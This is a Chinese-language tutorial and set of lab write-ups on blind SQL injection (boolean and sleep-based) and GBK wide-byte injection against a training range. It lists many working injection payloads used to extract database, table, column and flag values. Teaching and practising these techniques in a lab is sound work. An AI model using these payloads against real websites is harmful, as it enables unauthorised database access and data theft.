有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
length() 函数 返回字符串的长度
?id=1 and length(database())>1
substr() 截取字符串 , 从第一位截取一个
id=1 and substr(database(),1,1)='k'
substr(内容,1,1) 显示第一个字符
ord()/ascii() 返回字符的ascii码
?id=1 and ord(substr(database(),1,1))=107
时间型 sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 ?id=1' and If(length(database())=8,1,sleep(5))-- +
猜解当前数据库名称长度:
and (length(database()))>9#
猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k
and substr(database(),1,1)='k' 返回正常,说明数据库名称第二位是k
猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia ' limit 0,1),1,1)='l' 返回正常,说明数据库表名的第一个的第一位是l
猜字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 返回正常,说明loflag表中的列名称第一位是i
猜内容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122返回正常,说明zKaQ列第一位是z
用于截取字符串,语法为substr(字符串,位置,长度)
根据返回页面的正确与否,通过判断对应字符的ascii码值是否对应,来判断字符串具体的数值。
起到一个注释后面语句的作用,防止对前面的语句产生干扰。
首先用substr截取字符串,每次截取一个,用ascii()函数转化为ascii码,进行判断,如果不符合,返回页面错误,最后根据得到的ascii码来判断它的值
首先要去判断是否存在漏洞,然后再去判断库表字段长度
是的,先进行括号内的语句,再进行其他的,否则流程无法执行
一个根据返回页面的正常与否,一个根据页面响应时间判断,之前的语句是相同的,只是延时增加了if()判断和延时函数sleep()
if(a,b,c) 判断语句 如果第一个条件成功,进行第二个,跳过第三个
在页面不会返回报错信息,只会返回页面是否正常的情况下
可以,直接输出出全部
可以超过,但只能有多少显示多少
可以,但截取的方向从左到右变从右到左
意为延时多少
用于观察页面返回的速度来判断注入是否成功
不是,sleep与ture 和 false无关,sleep只用于增加页面返回的时间,通过返回时间长度判断是否存在注入
不会,这里的截取是为了把字符串一个个拿出来用ascii转换后判断位数,位数正确与否显示页面是否正常,服务器不会返回报错信息,当然也不会返回被截取的字符串
这里实际上是一个子查询,我们先进行select查询,再进行字符串的截取,再进行判断,像数学内的括号重叠一样,不存在字符串的拼接
不用显示,盲注不是靠返回什么具体信息的,转换出的ascii码我们只是判断长度,通过得到他的位数来知道他是哪一个,不是靠他具体显示
可以,可以用updatexml换成显错注入,但是并不是每次都可以,之后老师会教你们其他特殊操作
先看第一题
要求
url
中使用order by
查询字段,得到字段数为2。union select
查询,发现没有回显,只能使用盲注的思路。后续用burp爆破的方式最后得到‘kanwolongxia’的库名
id=1 and asscii(substr((select table_name from information_schema.tables where table_schema=’kanwolongxia’ limit 0,1) ,1,1))=1
然后继续用burp辅助爆破表名,拿到表名为loflag
id=1 and asscii(substr((select column_name from information_schema.columns where table_name=’loflag’ limit 0,1),1,1))=1
爆破loflag表下第一个字段 id 第二个字段 flaglo
id=1 and asscii(substr((select flaglo from loflag limit 0,1),1,1))=1
爆破flaglo字段下第一条数据 zkaq-QQQ
之前的几步和上题一样
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='i'
来猜测数据库中的表名。
得到表名为loflag。
?id=1" and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' -- +
来猜测表中的字段名。
第一个字段名为id,第二个字段名为flaglo。
?id=1" and (ascii(substr(( select flaglo from loflag limit 1,1),1,1)))=122
burp爆破flaglo字段,得到flag为zKaQ-RD
。
这道题前面两道的区别在于本题是POST注入,且闭合方式为单引号。
‘ or 1=1 order by 1 — qwe
判断字段数 3个字段
‘ or length(database())>1 — qwe
判断当前数据库字符数 12个字符
‘ or ascii(substr((database()),1,1))=1 — qwe
爆破当前数据库库名 kanwolongxia
‘ or length((select flaglo from loflag limit 0,1))>1 — qwe
判断当前字段第一条数据字符长度 8
' or (ascii(substr(( select flaglo from loflag limit 1,1),2,1)))=1
爆破表名flaglo字段,得到flag
zKaQ-Moren
进入靶场
?id=1" and if(length(database())=12,sleep(5),1) -- +
猜测数据库的长度。
?id=1" and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
猜测数据库的库名为kanwolongxia
.
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +
获取数据库表名的长度,第一张6位,第二张4位,第三张表4位.
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +
获取表名为loflag、news、user。
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +
获取字段名的长度为2位和6位。
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +
字段名为Id、flaglo。
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +
获取字段中内容的长度。
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
得到字段中的内容为zKaQ-QQQ、zKaQ-RD、zKaQ-Moren、zKaQ-time-hj、zKaQ-time-zxxz
。
本题解题思路与上一题相同,唯一的区别在于本题的闭合方式为')
。
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
是PHP的一种防护手段,叫做魔术引号,因为出现反斜杠等于转义了单引号变为字符串。
PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来。
已知我们的提交数据会被加入\,\的编码为%5c,我们在后面加上%df后变为了%df%5c,变成一个繁体汉字運,变成了一个有多个字节的字符
因为用了gbk编码,使这个为一个两字节,绕过了单引号闭合,逃逸了转义
因为要用到单引号,会对查询产生影响,单引号会被加上反斜杠
还可以通过子查询的方式绕过,将原来查询的'admin'换成(select table_schema from information_schema.tables where table_schema=database() limit 0,1)
不是,宽字节注入适用于所有场景
还可以用汉字绕过,因为一个汉字PHP接受的时候是UTF-8编码,然后是个三字节编码,这个汉字和反斜杠两两配对组成两个汉字然后使单引号逃逸
和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
不会,宽字节要基于这两个不同才能实现,PHP utf-8编码 数据库GBK编码
并不是的,只要PHP的编码格式和数据库的编码格式不同,特别是字符不同的编码就可能会造成
非常的常见,虽然魔术引号PHP5.3.0后就被废除,5.4.0后就被移除,但是一般的CMS全部都有使用,他们写了专门的魔术引号函数
不,常见的魔术引号magic_quotes_gpc 他只会处理GET POST COOKIE传参
当然有方法,如果是Header注入就不受到影响
magic_quotes_gpc 只会处理GET POST COOKIE传参 【常见】
magic_quotes_runtime 大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件
magic_quotes_sybas 如果打开的话,将会使用单引号对单引号进行转义而非反斜线,并且会和magic_quotes_gpc会发生冲突,会覆盖掉这个。
例如:select *from admin where username=’admin’ and password=’123456’
这是最典型的登陆判断语句,如果没有转译反斜杠,那么我们这样写
select *from admin where username=’admin/’ and password=’ union select 1,2,3 #’
因为我写了反斜杠单引号被转译了,
Username的值就变为了admin’ and password=
需要打开php.ini这个配置文件
找到这个名字,如果是on就是开启
默认开启,但是高版本被废除了
低版本 修改配置文件然后强行执行
magic_quotes_gpc
高版本 删除掉了这个配置,通过特定函数使用
addslashes()
掌控安全学院SQL注入靶场http://inject2b.lab.aqlab.cn/Pass-15/index.php?id=1
1.判断是否转义
2.使用字符让其与\形成一个汉字
3.判断是否存在SQL注入
4.判断有几个字段
5.爆破库名
6.爆破表名
7.爆破字段名
8.爆破字段值宽字节注入(一)
因为宽字节的特殊性,china_flag被换成了十六进制的0x6368696E615F666C6167
查询结果为id和C_Flag
flag不就出来的嘛
zKaQ-Wide
同样也是GET型宽字节注入,但是改用了”)闭合
先判断拼接语句是否可以被执行:?id=1%df”) and 1=1 — qwe
不要因为要输入用户名和密码就觉得这个很难,其实和上面两题的思路是一样的
POST型宽字节注入,靠直接输入汉字吃掉\使得’逃逸闭合
判定闭合点为’) (也可以使用burpsuite修改hex)
这是个盲注,直接使用BURP 爆破
张’) or ascii(substr(database(),1,1))=119 — qwe
然后从1-8排序,得:119 105 100 101 99 104 97 114
对应ASCII编码得:widechar (库名)
张’) or length((select table_name from information_schema.tables where table_schema=database() limit 0,1 ))=10 — qwe
返回成功登录,说明当前表名的长度为10
然后从1-10排序,得:99 104 105 110 97 95 102 108 97 103
对应ASCII编码得:china_flag (表名)
猜测数据内容:张’) or 1=1 and ascii(substr((select C_Flag from china_flag limit 2,1),11,1))=122 — qwe
查到flag值为zKaQ-Kzj+mz